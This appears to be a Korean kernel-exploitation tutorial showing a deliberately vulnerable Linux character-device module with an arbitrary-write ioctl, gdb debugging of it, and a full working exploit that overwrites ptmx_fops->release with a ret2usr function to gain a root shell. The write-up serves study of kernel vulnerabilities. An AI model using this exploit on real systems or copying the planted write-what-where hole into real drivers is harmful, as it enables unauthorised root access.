Excuse the ads! We need some help to keep our site up.
List
Write-what-where(Arbitrary Memory Overwrite) (fear.ret2usr)
Write-what-where(Arbitrary Memory Overwrite)
- Write-what-where이란 공격자가 버퍼 오버 플로우를 이용해 임의의 위치에 임의의 값을 쓸 수있는 모든 조건들입니다.
- CTF에서 해당 취약성의 문제들이 많이 출제 됩니다.
CWE-123: Write-what-where Condition
Return-to-user (ret2usr)
Example
Source code of module
- 해당 코드는 04.Creating a kernel module to privilege escalation 에서 사용한 코드에 다음 코드를 추가하였습니다.
- 추가된 코드는 다음과 같습니다.
- chardev_ioctl() 함수의 switch 분기문에 IOCTL_WWW를 추가하였습니다.
- 해당 분기문에서 chardev_ioctl() 함수의 세번째 인자값(arg)을 ioctl_www_arg 구조체로 형변환하여 para 변수에 값을 저장합니다.
para→ptr 주소 영역에 para→value의 값을 저장합니다.
- 해당 코드로 인하여 공격자가 임의의 영역에 임이의 값을 저장할 수 있게됩니다.
- chardev_ioctl() 함수의 switch 분기문에 IOCTL_WWW를 추가하였습니다.
chardev.c
#include <linux/init.h> #include <linux/module.h> #include <linux/types.h> #include <linux/kernel.h> #include <linux/fs.h> #include <linux/cdev.h> #include <linux/sched.h> #include <linux/device.h> #include <linux/slab.h> #include <asm/current.h> #include <linux/uaccess.h> #include <linux/cred.h> #include "chardev.h" MODULE_LICENSE("Dual BSD/GPL"); #define DRIVER_NAME "chardev" static const unsigned int MINOR_BASE = 0; static const unsigned int MINOR_NUM = 1; static unsigned int chardev_major; static struct cdev chardev_cdev; static struct class *chardev_class = NULL; static int chardev_open(struct inode *, struct file *); static int chardev_release(struct inode *, struct file *); static ssize_t chardev_read(struct file *, char *, size_t, loff_t *); static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *); static long chardev_ioctl(struct file *, unsigned int, unsigned long); struct file_operations s_chardev_fops = { .open = chardev_open, .release = chardev_release, .read = chardev_read, .write = chardev_write, .unlocked_ioctl = chardev_ioctl, }; static int chardev_init(void) { int alloc_ret = 0; int cdev_err = 0; int minor = 0; dev_t dev; printk("The chardev_init() function has been called."); alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME); if (alloc_ret != 0) { printk(KERN_ERR "alloc_chrdev_region = %d\n", alloc_ret); return -1; } //Get the major number value in dev. chardev_major = MAJOR(dev); dev = MKDEV(chardev_major, MINOR_BASE); //initialize a cdev structure cdev_init(&chardev_cdev, &s_chardev_fops); chardev_cdev.owner = THIS_MODULE; //add a char device to the system cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM); if (cdev_err != 0) { printk(KERN_ERR "cdev_add = %d\n", alloc_ret); unregister_chrdev_region(dev, MINOR_NUM); return -1; } chardev_class = class_create(THIS_MODULE, "chardev"); if (IS_ERR(chardev_class)) { printk(KERN_ERR "class_create\n"); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); return -1; } device_create(chardev_class, NULL, MKDEV(chardev_major, minor), NULL, "chardev%d", minor); return 0; } static void chardev_exit(void) { int minor = 0; dev_t dev = MKDEV(chardev_major, MINOR_BASE); printk("The chardev_exit() function has been called."); device_destroy(chardev_class, MKDEV(chardev_major, minor)); class_destroy(chardev_class); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); } static int chardev_open(struct inode *inode, struct file *file) { printk("The chardev_open() function has been called."); return 0; } static int chardev_release(struct inode *inode, struct file *file) { printk("The chardev_close() function has been called."); return 0; } static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) { printk("The chardev_write() function has been called."); return count; } static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) { printk("The chardev_read() function has been called."); return count; } static struct ioctl_info info; static long chardev_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { struct ioctl_www_arg *para; printk("The chardev_ioctl() function has been called."); switch (cmd) { case SET_DATA: printk("SET_DATA\n"); if (copy_from_user(&info, (void __user *)arg, sizeof(info))) { return -EFAULT; } printk("info.size : %ld, info.buf : %s",info.size, info.buf); break; case GET_DATA: printk("GET_DATA\n"); if (copy_to_user((void __user *)arg, &info, sizeof(info))) { return -EFAULT; } break; case GIVE_ME_ROOT: printk("GIVE_ME_ROOT\n"); commit_creds(prepare_kernel_cred(NULL)); return 0; case IOCTL_WWW: para = (struct ioctl_www_arg *)arg; *(para->ptr) = para->value; return 0; default: printk(KERN_WARNING "unsupported command %d\n", cmd); return -EFAULT; } return 0; } module_init(chardev_init); module_exit(chardev_exit);
chardev.h
#ifndef CHAR_DEV_H_ #define CHAR_DEV_H_ #include <linux/ioctl.h> struct ioctl_info{ unsigned long size; char buf[128]; }; struct ioctl_www_arg { unsigned long *ptr; unsigned long value; }; #define IOCTL_MAGIC 'G' #define SET_DATA _IOW(IOCTL_MAGIC, 2 ,struct ioctl_info) #define GET_DATA _IOR(IOCTL_MAGIC, 3 ,struct ioctl_info) #define GIVE_ME_ROOT _IO(IOCTL_MAGIC, 0) #define IOCTL_WWW _IOR(IOCTL_MAGIC, 0, struct ioctl_aaw_arg *) #endif
Makefile
obj-m = chardev.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
- 다음과 같이 취약성이 존재하는 모듈을 등록합니다.
Register a module
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ sudo insmod ./chardev.ko lazenca0x0@ubuntu:~/Kernel/Exploit/www$ sudo chmod 666 /dev/chardev0 lazenca0x0@ubuntu:~/Kernel/Exploit/www$
Proof of Concept
PoC code
취약성을 확인하기 위해 test.c를 사용하며, 기능은 다음과 같습니다.
"/dev/chardev0" 디바이스 파일을 열어서, ioctl함수를 이용하여 "IOCTL_WWW" 매크로를 호출합니다.
- 해당 매크로에 전달된 인자 값은 다음과 같습니다.
- arg.ptr = 0x4141414141414141
- arg.value = 0x4242424242424242
- 0x4141414141414141 영역에 0x4242424242424242 값을 덮어서 쓸 수 있는지 확인하려고 합니다.
test.c
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include "chardev.h" #define DEVICE_FILE_NAME "/dev/chardev0" int main() { int fd; int ret_val; unsigned long *ptmx_fops; struct ioctl_www_arg arg; fd = open(DEVICE_FILE_NAME, 0); if (fd < 0) { printf("Can't open device file: %s\n", DEVICE_FILE_NAME); exit(1); } arg.ptr = 0x4141414141414141; arg.value = 0x4242424242424242; ret_val = ioctl(fd, IOCTL_WWW, &arg); if (ret_val < 0) { printf("ioctl failed: %d\n", ret_val); exit(1); } close(fd); }
- 다음과 같이 chardev_ioctl() 함수의 주소를 확인합니다.
- chardev_ioctl() : 0xffffffffc01c40a0
Address of the chardev module
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ sudo sysctl -w kernel.kptr_restrict=0 kernel.kptr_restrict = 0 lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep chardev ffffffffc01c4000 t chardev_release [chardev] ffffffffc01c4020 t chardev_open [chardev] ffffffffc01c4040 t chardev_write [chardev] ffffffffc01c4070 t chardev_read [chardev] ffffffffc01c40a0 t chardev_ioctl [chardev] ffffffffc01c6480 b info [chardev] ffffffffc01c41c0 t chardev_init [chardev] ffffffffc01c6520 b chardev_cdev [chardev] ffffffffc01c6588 b chardev_major [chardev] ffffffffc01c6480 b __key.25755 [chardev] ffffffffc01c6508 b chardev_class [chardev] ffffffffc01c4300 t chardev_exit [chardev] ffffffffc01c6100 d __this_module [chardev] ffffffffc01c4300 t cleanup_module [chardev] ffffffffc01c41c0 t init_module [chardev] ffffffffc01c6000 d s_chardev_fops [chardev] lazenca0x0@ubuntu:~/Kernel/Exploit/www$
Debug
- 다음과 같이 chardev_ioctl() 함수의 시작 주소에 Breakpoint를 설정합니다.
Set break point - chardev_ioctl
0x0000000001000200 in ?? () (gdb) c Continuing. ^C Program received signal SIGINT, Interrupt. native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50 50 /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h: No such file or directory. (gdb) b *0xffffffffc01c40a0 Breakpoint 1 at 0xffffffffc01c40a0 (gdb) c Continuing.
다음과 같이 chardev_ioctl() 함수의 코드를 확인할 수 있습니다.
IOCTL_WWW 매크로의 값을 확인하기 위해 0xffffffffc01e10bf 영역에 Breakpoint를 설정합니다.
IOCTL_WWW 매크로의 값은 0x80084700 입니다.
해당 값을 비교하는 코드는 0xffffffffc01e10cd 영역에 존재합니다.
전달된 매크로의 값이 0x80084700와 같을 경우 0xffffffffc01e1112 영역으로 이동합니다.
Debugging the chardev_ioctl() function
Breakpoint 1, 0xffffffffc01e10a0 in ?? () (gdb) x/40i $rip => 0xffffffffc01e10a0: nop DWORD PTR [rax+rax*1+0x0] 0xffffffffc01e10a5: push rbp 0xffffffffc01e10a6: xor eax,eax 0xffffffffc01e10a8: mov rdi,0xffffffffc01e20e8 0xffffffffc01e10af: mov rbp,rsp 0xffffffffc01e10b2: push r12 0xffffffffc01e10b4: mov r12,rdx 0xffffffffc01e10b7: push rbx 0xffffffffc01e10b8: mov ebx,esi 0xffffffffc01e10ba: call 0xffffffff81180972 <printk> 0xffffffffc01e10bf: cmp ebx,0x40884702 0xffffffffc01e10c5: je 0xffffffffc01e116d 0xffffffffc01e10cb: jbe 0xffffffffc01e1125 0xffffffffc01e10cd: cmp ebx,0x80084700 0xffffffffc01e10d3: je 0xffffffffc01e1112 0xffffffffc01e10d5: cmp ebx,0x80884703 0xffffffffc01e10db: jne 0xffffffffc01e1151 0xffffffffc01e10dd: mov rdi,0xffffffffc01e219f 0xffffffffc01e10e4: xor eax,eax 0xffffffffc01e10e6: call 0xffffffff81180972 <printk> 0xffffffffc01e10eb: mov edx,0x88 0xffffffffc01e10f0: mov rsi,0xffffffffc01e3480 0xffffffffc01e10f7: mov rdi,r12 0xffffffffc01e10fa: call 0xffffffff813e09e0 <_copy_to_user> 0xffffffffc01e10ff: cmp rax,0x1 0xffffffffc01e1103: sbb rax,rax 0xffffffffc01e1106: not rax 0xffffffffc01e1109: and rax,0xfffffffffffffff2 0xffffffffc01e110d: pop rbx 0xffffffffc01e110e: pop r12 0xffffffffc01e1110: pop rbp 0xffffffffc01e1111: ret 0xffffffffc01e1112: mov rax,QWORD PTR [r12] 0xffffffffc01e1116: mov rdx,QWORD PTR [r12+0x8] 0xffffffffc01e111b: mov QWORD PTR [rax],rdx 0xffffffffc01e111e: xor eax,eax 0xffffffffc01e1120: pop rbx 0xffffffffc01e1121: pop r12 0xffffffffc01e1123: pop rbp 0xffffffffc01e1124: ret (gdb) b *0xffffffffc01e10bf Breakpoint 2 at 0xffffffffc01e10bf (gdb) c Continuing. Breakpoint 2, 0xffffffffc01e10bf in ?? () (gdb) i r ebx ebx 0x80084700 -2146941184 (gdb) b *0xffffffffc01e10cd Breakpoint 3 at 0xffffffffc01e10cd (gdb) c Continuing. Breakpoint 3, 0xffffffffc01e10cd in ?? () (gdb) i r ebx ebx 0x80084700 -2146941184 (gdb) x/2i $rip => 0xffffffffc01e10cd: cmp ebx,0x80084700 0xffffffffc01e10d3: je 0xffffffffc01e1112 (gdb)
- 다음 코드는 IOCTL_WWW 매크로의 코드입니다.
- R12, R12+0x8 영역에 arg.ptr(0x4141414141414141), arg.value(0x4242424242424242) 값이 저장되어 있습니다.
- 해당 값들은 다음과 같이 각 레지스터에 저장됩니다.
- RAX 레지스터 : arg.ptr(0x4141414141414141)
- RDX 레지스터 : arg.value(0x4242424242424242)
- 해당 값들은 "mov QWORD PTR [rax],rdx" 코드에 의해 0x4141414141414141 영역에 0x4242424242424242 값을 저장 합니다.
- 물론 해당 영역은 사용할 수 없는 공간이기 때문에 general_protection() 함수가 호출됩니다.
Debugging the IOCTL_WWW
(gdb) si 0xffffffffc01e10d3 in ?? () (gdb) si 0xffffffffc01e1112 in ?? () (gdb) x/8i $rip => 0xffffffffc01e1112: mov rax,QWORD PTR [r12] 0xffffffffc01e1116: mov rdx,QWORD PTR [r12+0x8] 0xffffffffc01e111b: mov QWORD PTR [rax],rdx 0xffffffffc01e111e: xor eax,eax 0xffffffffc01e1120: pop rbx 0xffffffffc01e1121: pop r12 0xffffffffc01e1123: pop rbp 0xffffffffc01e1124: ret (gdb) i r r12 r12 0x7ffd67d79360 140726345634656 (gdb) x/2gx 0x7ffd67d79360 0x7ffd67d79360: 0x4141414141414141 0x4242424242424242 (gdb) b *0xffffffffc01e111b Breakpoint 4 at 0xffffffffc01e111b (gdb) c Continuing. Breakpoint 4, 0xffffffffc01e111b in ?? () (gdb) i r rax rax 0x4141414141414141 4702111234474983745 (gdb) i r rdx rdx 0x4242424242424242 4774451407313060418 (gdb) si 0xffffffff817f9030 in general_protection () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/entry/entry_64.S:981 981 /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/entry/entry_64.S: No such file or directory. (gdb)
Area to overwrite
- 앞에서 취약성을 이용하여 공격자가 원하는 영역에 임의의 값을 저장할 수 있다는 것을 확인하였습니다.
- 공격자는 해당 취약성을 이용하여 권한상승을 실행 할 수 있는 대상을 찾아야 합니다.
- 다음과 같이 모든 사용자가 읽고 쓸수 있는 디바이스 파일을 찾을 수 있습니다.
Finds device files that all users can read and write
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ find /dev/ -type c -perm -6 2> /dev/null /dev/chardev0 /dev/net/tun /dev/ptmx /dev/fuse /dev/tty /dev/urandom /dev/random /dev/full /dev/zero /dev/null lazenca0x0@ubuntu:~/Kernel/Exploit/www$
- 해당 디바이스 파일들 중에서 struct file_operations를 사용한 변수가 있는지 확인이 필요합니다.
- 리눅스에서는 struct file_operations 사용할 경우 다음과 같은 형태로 변수명을 작성합니다.
- "디바이스명_fops"
- 리눅스에서는 struct file_operations 사용할 경우 다음과 같은 형태로 변수명을 작성합니다.
- 다음과 같은 방법으로 많은 file_operations 구조체 변수를 확인 할 수 있습니다.
- 출력된 내용중 중요한 것은 2번째 필드이며, 심볼의 유형에 대한 정보입니다.
- 'R','r' : 읽기 전용 데이터 섹션을 사용
- 'B','b' : 초기화되지 않은 데이터 섹션(BSS로 알려져 있음)을 사용
- 출력된 내용중 중요한 것은 2번째 필드이며, 심볼의 유형에 대한 정보입니다.
즉, 읽고 쓰기가 가능한 file_operations 구조체 변수는 ptmx_fops 뿐입니다.
Check the kernel symbol information.
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep tun_fops ffffffff818a74a0 r tun_fops lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep ptmx_fops ffffffff81fe3440 b ptmx_fops lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep fuse_fops lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep tty_fops ffffffff81870dc0 r hung_up_tty_fops ffffffff81870f80 r tty_fops lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep urandom_fops ffffffff81875c60 R urandom_fops lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep random_fops ffffffff81875c60 R urandom_fops ffffffff81875d40 R random_fops lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep full_fops ffffffff81875780 r full_fops lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep zero_fops ffffffff81875860 r zero_fops lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep null_fops ffffffff81875a20 r null_fops lazenca0x0@ubuntu:~/Kernel/Exploit/www$
nm(1) - Linux man page
ptmx
- "/dev/ptmx"는 가상 터미널 마스터 및 슬레이브를 생성하는 드라이버 입니다.
- 가상 터미널을 할당 받기 위해서 프로세서는 "/dev/ptmx" 파일을 오픈합니다.
- 프로세서에게 가상 터미널의 숫자가 이용 가능하게 되며, "/dev/pts/" 디렉토리에 있는 가상 터미널 슬레이브가 프로세서에 이용 가능하게 됩니다.
- TTY (Tele Type Writer) : 콘솔 및 터미널 환경
- PTY (Pseudo-Terminal) : 가상 터미널 환경
- PTS (Pseudo-Terminal Slave) : 원격 터미널 환경
- ptmx 드라이버에서 사용하는 ptmx_fops 변수는 const 형으로 선언되지 않았기 때문에 Read,Write가 가능하게 됩니다.
- 즉, Write-what-where 취약성을 이용하여 ptmx_fops 변수의 값을 변경할 수 있습니다.
/linux/v4.4/source/drivers/tty/pty.c#L807
static struct file_operations ptmx_fops; static void __init unix98_pty_init(void) { ptm_driver = tty_alloc_driver(NR_UNIX98_PTY_MAX, TTY_DRIVER_RESET_TERMIOS | TTY_DRIVER_REAL_RAW | TTY_DRIVER_DYNAMIC_DEV | TTY_DRIVER_DEVPTS_MEM | TTY_DRIVER_DYNAMIC_ALLOC); if (IS_ERR(ptm_driver)) panic("Couldn't allocate Unix98 ptm driver"); pts_driver = tty_alloc_driver(NR_UNIX98_PTY_MAX, TTY_DRIVER_RESET_TERMIOS | TTY_DRIVER_REAL_RAW | TTY_DRIVER_DYNAMIC_DEV | TTY_DRIVER_DEVPTS_MEM | TTY_DRIVER_DYNAMIC_ALLOC); if (IS_ERR(pts_driver)) panic("Couldn't allocate Unix98 pts driver"); ptm_driver->driver_name = "pty_master"; ptm_driver->name = "ptm"; ptm_driver->major = UNIX98_PTY_MASTER_MAJOR; ptm_driver->minor_start = 0; ptm_driver->type = TTY_DRIVER_TYPE_PTY; ptm_driver->subtype = PTY_TYPE_MASTER; ptm_driver->init_termios = tty_std_termios; ptm_driver->init_termios.c_iflag = 0; ptm_driver->init_termios.c_oflag = 0; ptm_driver->init_termios.c_cflag = B38400 | CS8 | CREAD; ptm_driver->init_termios.c_lflag = 0; ptm_driver->init_termios.c_ispeed = 38400; ptm_driver->init_termios.c_ospeed = 38400; ptm_driver->other = pts_driver; tty_set_operations(ptm_driver, &ptm_unix98_ops); pts_driver->driver_name = "pty_slave"; pts_driver->name = "pts"; pts_driver->major = UNIX98_PTY_SLAVE_MAJOR; pts_driver->minor_start = 0; pts_driver->type = TTY_DRIVER_TYPE_PTY; pts_driver->subtype = PTY_TYPE_SLAVE; pts_driver->init_termios = tty_std_termios; pts_driver->init_termios.c_cflag = B38400 | CS8 | CREAD; pts_driver->init_termios.c_ispeed = 38400; pts_driver->init_termios.c_ospeed = 38400; pts_driver->other = ptm_driver; tty_set_operations(pts_driver, &pty_unix98_ops); if (tty_register_driver(ptm_driver)) panic("Couldn't register Unix98 ptm driver"); if (tty_register_driver(pts_driver)) panic("Couldn't register Unix98 pts driver"); /* Now create the /dev/ptmx special device */ tty_default_fops(&ptmx_fops); ptmx_fops.open = ptmx_open; cdev_init(&ptmx_cdev, &ptmx_fops); if (cdev_add(&ptmx_cdev, MKDEV(TTYAUX_MAJOR, 2), 1) || register_chrdev_region(MKDEV(TTYAUX_MAJOR, 2), 1, "/dev/ptmx") < 0) panic("Couldn't register /dev/ptmx driver"); device_create(tty_class, NULL, MKDEV(TTYAUX_MAJOR, 2), NULL, "ptmx"); }
- 다른 file_operations 구조체 변수는 const 형으로 선언되어 있습니다.
static const struct file_operations tun_fops = { .owner = THIS_MODULE, .llseek = no_llseek, ...
static const struct file_operations tty_fops = { .llseek = no_llseek, .read = tty_read, ...
const struct file_operations urandom_fops = { .read = urandom_read, .write = random_write, ...
struct file_operations
- 모듈은 등록될 때 디바이스 번호를 등록하고 이와 함께 file_operations 라는 구조체를 커널에 알려줍니다.
- 모든 디바이스 드라이버는 사용자가 file_operations를 사용해 등록해준 표준화되어 있는 인터페이스를 사용해 입/출력 등의 작업을 처리하게된다.
- 유닉스에서는 디바이스,네트워크 모두 하나의 파일 처럼 동작하도록 되어 있는데 이에 따른 함수들이 등록되어 있습니다.
- 예를 들어 디바이스로부터 읽기 동작을 원한다면 file_operations에 등록된 read 함수를 사용해 읽기를 한다.
- file_operations는 모두 사용할 필요는 없으며, 필요하거나 지원되야하는 것을 추가하면 됩니다.
- 이러한 file_operations의 역할을 악용하여 권한상승을 할 수 있습니다.
- 이장에서는 드라이버 파일을 열때 호출되는 file_operations의 release 영역을 이용하여 권한상승을 시도하겠습니다.
- release 영역을 이용하기 위해 해당 변수가 file_operations 구조체의 시작 주소로 부터 얼마나 떨어져 있는지 알아야 합니다.
- release 변수는 file_operations 구조체 내에서 14번째에 선언되어 있습니다.
- 해당 변수 앞에 선언된 변수들은 모두 포인터 변수이기 때문에 사용하는 공간의 크기는 8byte입니다.
- 즉, ptmx_fops→release의 offset은 104(13 * 8)가 됩니다.
/linux/v4.4/source/include/linux/fs.h#L1600
struct file_operations { struct module *owner; loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); ssize_t (*read_iter) (struct kiocb *, struct iov_iter *); ssize_t (*write_iter) (struct kiocb *, struct iov_iter *); int (*iterate) (struct file *, struct dir_context *); unsigned int (*poll) (struct file *, struct poll_table_struct *); long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long); long (*compat_ioctl) (struct file *, unsigned int, unsigned long); int (*mmap) (struct file *, struct vm_area_struct *); int (*open) (struct inode *, struct file *); int (*flush) (struct file *, fl_owner_t id); int (*release) (struct inode *, struct file *); int (*fsync) (struct file *, loff_t, loff_t, int datasync); int (*aio_fsync) (struct kiocb *, int datasync); int (*fasync) (int, struct file *, int); int (*lock) (struct file *, int, struct file_lock *); ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int); unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); int (*check_flags)(int); int (*flock) (struct file *, int, struct file_lock *); ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int); ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); int (*setlease)(struct file *, long, struct file_lock **, void **); long (*fallocate)(struct file *file, int mode, loff_t offset, loff_t len); void (*show_fdinfo)(struct seq_file *m, struct file *f); #ifndef CONFIG_MMU unsigned (*mmap_capabilities)(struct file *); #endif };
Exploit method
- ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
- 권한상승을 위한 ret2usr 코드를 구현합니다.
- prepare_kernel_cred() 함수의 인자 값으로 '0'을 전달해 "root"의 자격 증명을 준비합니다.
- commit_creds() 함수의 인자 값으로 prepare_kernel_cred() 함수가 리턴한 값("root"의 자격 증명)을 전달 합니다.
- 구현된 ret2usr 코드의 시작 주소를 ptmx_fops→release 영역에 덮어씁니다.
- system() 함수를 이용하여 "/bin/sh" 를 실행합니다.
- 공격을 위해 알아야 할 정보는 다음과 같습니다.
- prepare_kernel_cred(), commit_creds() 함수의 주소를 찾는 방법에 대해서는 Exploit code를 보면 충분히 이해할 수 있을 거라 생각되기 때문에 추가 설명하지 않겠습니다.
- prepare_kernel_cred() 함수의 주소
- commit_creds() 함수의 주소
- ptmx_fops→release 영역 주소
Addresses in the "ptmx_fops→release" area
- 다음과 같이 "/proc/kallsyms" 파일을 이용하여 ptmx_fops 구조체의 시작 주소를 확인할 수 있습니다.
Find the address of "ptmx_fops".
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep ptmx_fops ffffffff81fe3440 b ptmx_fops lazenca0x0@ubuntu:~/Kernel/Exploit/www$
- 다음과 같이 연결된 커널 디버거에서 ptmx_fops 구조체를 확인할 수 있습니다.
- ptmx_fops→release 영역의 주소는 0xffffffff81fe34a8이며, ptmx_fops 구조체의 시작 주소로 부터 104 byte 떨어져 있습니다.
struct file_operations ptmx_fops
0x0000000001000200 in ?? () (gdb) c Continuing. (gdb) p *(struct file_operations*) 0xffffffff81fe3440 $1 = {owner = 0x0 <irq_stack_union>, llseek = 0xffffffff811fcd60 <no_llseek>, read = 0xffffffff814c5190 <tty_read>, write = 0xffffffff814c48a0 <tty_write>, read_iter = 0x0 <irq_stack_union>, write_iter = 0x0 <irq_stack_union>, iterate = 0x0 <irq_stack_union>, poll = 0xffffffff814c5340 <tty_poll>, unlocked_ioctl = 0xffffffff814c5e40 <tty_ioctl>, compat_ioctl = 0xffffffff814c5280 <tty_compat_ioctl>, mmap = 0x0 <irq_stack_union>, open = 0xffffffff814cf860 <ptmx_open>, flush = 0x0 <irq_stack_union>, release = 0xffffffff814c55c0 <tty_release>, fsync = 0x0 <irq_stack_union>, aio_fsync = 0x0 <irq_stack_union>, fasync = 0xffffffff814c5140 <tty_fasync>, lock = 0x0 <irq_stack_union>, sendpage = 0x0 <irq_stack_union>, get_unmapped_area = 0x0 <irq_stack_union>, check_flags = 0x0 <irq_stack_union>, flock = 0x0 <irq_stack_union>, splice_write = 0x0 <irq_stack_union>, splice_read = 0x0 <irq_stack_union>, setlease = 0x0 <irq_stack_union>, fallocate = 0x0 <irq_stack_union>, show_fdinfo = 0x0 <irq_stack_union>} (gdb) p (*(struct file_operations*) 0xffffffff81fe3440).release $2 = (int (*)(struct inode *, struct file *)) 0xffffffff814c55c0 <tty_release> (gdb) p &(*(struct file_operations*) 0xffffffff81fe3440).release $3 = (int (**)(struct inode *, struct file *)) 0xffffffff81fe34a8 <ptmx_fops+104> (gdb) p/d 0xffffffff81fe34a8 - 0xffffffff81fe3440 $4 = 104 (gdb)
ret2usr
- Write-what-where 취약성을 이용하여 "ptmx_fops→release" 영역을 ret2usr 함수의 시작주소로 덮어쓸 경우 레지스터의 값의 백업, 복원 작업이 필요 없습니다.
- 해당 취약성을 이용하여 return address를 덮어쓰는 것이 아니기 때문입니다.
ret2usr
void get_root() { commit_creds(prepare_kernel_cred(NULL)); }
Exploit code
www.c
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include "chardev.h" #define DEVICE_FILE_NAME "/dev/chardev0" void *(*prepare_kernel_cred)(void *) ; int (*commit_creds)(void *) ; unsigned long *ptmx_fops_release; void *kallsym_getaddr(char *name) { FILE *fp; void *addr; char sym[512]; fp = fopen("/proc/kallsyms", "r"); while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) { if (strcmp(sym, name) == 0) { break; }else{ addr = NULL; } } fclose(fp); return addr; } void get_root() { commit_creds(prepare_kernel_cred(NULL)); } int main() { int fd; int ret_val; void *ptmx_fops; struct ioctl_www_arg arg; //Find the address of "prepare_kernel_cred()" prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred"); if(prepare_kernel_cred == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } //Find the address of "commit_creds()" commit_creds = kallsym_getaddr("commit_creds"); if(commit_creds == 0) { printf("failed to get commit_creds address\n"); return 0; } printf("prepare_kernel_cred = %p\n", prepare_kernel_cred); printf("commit_creds = %p\n", commit_creds); //Find the address of "static struct file_operations ptmx_fops" ptmx_fops = kallsym_getaddr("ptmx_fops"); printf("ptmx_fops = %p\n", ptmx_fops); ptmx_fops_release = ptmx_fops + sizeof(void *) * 13; fd = open(DEVICE_FILE_NAME, 0); if (fd < 0) { printf("Can't open device file: %s\n", DEVICE_FILE_NAME); return 0; } //Overwrite the "ptmx_fops → release" area arg.ptr = ptmx_fops_release; arg.value = (unsigned long)get_root; ret_val = ioctl(fd, IOCTL_WWW, &arg); if (ret_val < 0) { printf("ioctl failed: %d\n", ret_val); return 0; } close(fd); //open /dev/ptmx and call ptmx_fops->release() via close() fd = open("/dev/ptmx", 0); close(fd); printf("getuid() = %d\n", getuid()); execl("/bin/sh", "sh", NULL); }
Get shell
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ ./www [+] prepare_kernel_cred = 0xffffffff8109da40 [+] commit_creds = 0xffffffff8109d760 [+] ptmx_fops = 0xffffffff81fe3440 [+] getuid() = 0 # id uid=0(root) gid=0(root) groups=0(root) #
References
- https://cwe.mitre.org/data/definitions/123.html
- https://www.usenix.org/node/184468
- https://cyseclabs.com/slides/smep_bypass.pdf
- http://inaz2.hatenablog.com/entry/2015/03/21/175433
- https://wiki.kldp.org/KoreanDoc/html/EmbeddedKernel-KLDP/device-understanding.html
- https://elixir.bootlin.com/linux/latest/source/include/linux/fs.h#L1777
- https://www.tldp.org/LDP/lkmpg/2.4/html/c577.htm